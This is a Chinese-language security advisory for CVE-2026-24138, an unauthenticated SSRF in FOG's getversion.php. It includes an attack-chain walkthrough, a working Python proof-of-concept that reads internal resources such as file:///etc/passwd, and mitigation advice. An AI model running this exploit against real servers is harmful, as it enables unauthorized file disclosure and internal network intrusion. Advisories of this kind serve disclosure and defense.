IPBUF安全漏洞报告
English
CVE-2026-24138 CVSS 7.5 高危

CVE-2026-24138 FOG项目getversion.php未授权SSRF漏洞

披露日期: 2026-01-23

漏洞信息

漏洞编号
CVE-2026-24138
漏洞类型
SSRF(服务器端请求伪造)
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
FOG (Free Open-source Ghost) - 开源克隆/镜像/救援套件/库存管理系统

相关标签

SSRFFOGCVE-2026-24138未授权访问信息泄露getversion.php开源软件系统管理工具

漏洞概述

CVE-2026-24138是FOG项目中的一个高危安全漏洞,存在于getversion.php文件中。该漏洞允许未经身份验证的攻击者通过构造恶意的URL参数发起服务器端请求伪造(SSRF)攻击。攻击者可以利用此漏洞访问内部网络资源、读取本地文件系统内容,甚至探测内网服务。由于该漏洞在请求包含newService=1参数时可在未认证状态下被触发,因此极大降低了攻击门槛。CVSS评分7.5属于高危级别,主要威胁在于机密性影响。FOG是一个广泛使用的开源克隆和系统部署解决方案,多用于企业IT环境和教育机构,因此该漏洞可能影响大量部署。

技术细节

该漏洞的根本原因在于getversion.php脚本对用户提供的URL参数缺乏有效的输入验证和过滤。攻击者可以通过HTTP GET请求中注入恶意的URL值,服务器端会直接使用该URL发起请求。攻击者可以利用file://、http://、https://等协议访问内部资源,例如:1)使用file://协议读取服务器本地文件,如/etc/passwd、配置文件等敏感信息;2)探测内网环境,访问内部Web服务、数据库管理界面等;3)利用gopher://等协议进行更复杂的内网攻击。漏洞触发条件为请求中包含newService=1参数,这使得漏洞可以在未登录状态下被利用。由于FOG服务器通常具有较高的网络访问权限,该漏洞可能成为内网横向移动的跳板。

攻击链分析

STEP 1
步骤1
攻击者识别运行FOG 1.5.10.1754或更低版本的服务器,通过访问/getversion.php端点测试漏洞存在性
STEP 2
步骤2
构造包含newService=1和恶意url参数的HTTP请求,url参数值为目标内部资源(如file:///etc/passwd)
STEP 3
步骤3
服务器端getversion.php接收到请求后,直接使用用户提供的URL发起请求,无需身份验证
STEP 4
步骤4
攻击者接收到服务器返回的内部资源内容,实现信息泄露或内网探测
STEP 5
步骤5
利用获取的信息进行进一步内网渗透,如访问管理后台、读取配置获取凭据等

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2026-24138 SSRF PoC for FOG getversion.php # Target: FOG versions <= 1.5.10.1754 def exploit_ssrf(target_url, internal_target): """ Exploit SSRF vulnerability in getversion.php target_url: Base URL of vulnerable FOG instance internal_target: Internal resource to fetch (e.g., file://, http://internal) """ params = { 'newService': '1', 'url': internal_target } try: print(f"[*] Sending SSRF request to {target_url}") print(f"[*] Targeting: {internal_target}") response = requests.get( f"{target_url}/getversion.php", params=params, timeout=10, verify=False ) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response:\n{response.text[:500]}") return response.text except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2026-24138.py <target_url> <internal_target>") print("Example: python cve-2026-24138.py http://fog-server.local 'file:///etc/passwd'") sys.exit(1) target = sys.argv[1] internal = sys.argv[2] exploit_ssrf(target, internal)

影响范围

FOG <= 1.5.10.1754

防御指南

临时缓解措施
在官方修复版本发布前,建议采取以下临时措施:1)使用Web服务器配置限制对getversion.php的访问,仅允许必要的IP访问;2)通过网络ACL限制FOG服务器的出站流量,防止SSRF攻击利用该服务器作为跳板;3)监控Web访问日志,关注异常的url参数请求;4)考虑暂时禁用newService参数相关功能,直到漏洞修复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表